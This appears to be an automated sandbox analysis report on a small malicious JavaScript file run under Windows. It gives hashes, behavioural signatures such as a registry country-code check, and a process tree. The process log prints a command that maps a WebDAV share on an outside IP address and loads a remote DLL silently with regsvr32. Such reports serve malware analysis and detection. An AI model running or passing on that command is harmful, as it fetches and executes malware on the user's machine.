Analysis
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max time kernel
94s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
22-07-2024 05:37
Static task
static1
Behavioral task
behavioral1
Sample
705225698317283272.js
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
705225698317283272.js
Resource
win10v2004-20240709-en
General
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Target
705225698317283272.js
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Size
4KB
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MD5
b34c90be12f26c1f67e81336c68f92b4
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SHA1
88167a4dddccf9d69526940574eb57b7604ee9cf
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SHA256
e52c50d496373773f9397f3c251af8b14c3bb4237b90da093c2be2fff76f08a4
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SHA512
6e5554c83d2eee0f1c508b0d3b965135e30cae41315be7c83a0e4e534ee0c5d3c68e058327c1a4f742bab80bf2f3debf40c6c4ca4ec7bc4cec75d5f7026ee12f
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SSDEEP
96:mKVLBKGrC/D14KVlKVfGIoaSSKgrbAKV6pkK7oaSSKUBkO+KmVAFKqAkjWVAFKq8:mK9BKCkD14KVlKVfzoaSSKgrbAKV6pk7
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3588 wrote to memory of 3600 3588 wscript.exe 84 PID 3588 wrote to memory of 3600 3588 wscript.exe 84 PID 3600 wrote to memory of 1576 3600 cmd.exe 86 PID 3600 wrote to memory of 1576 3600 cmd.exe 86
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\705225698317283272.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3588 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\726686298279.dll2⤵
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:1576
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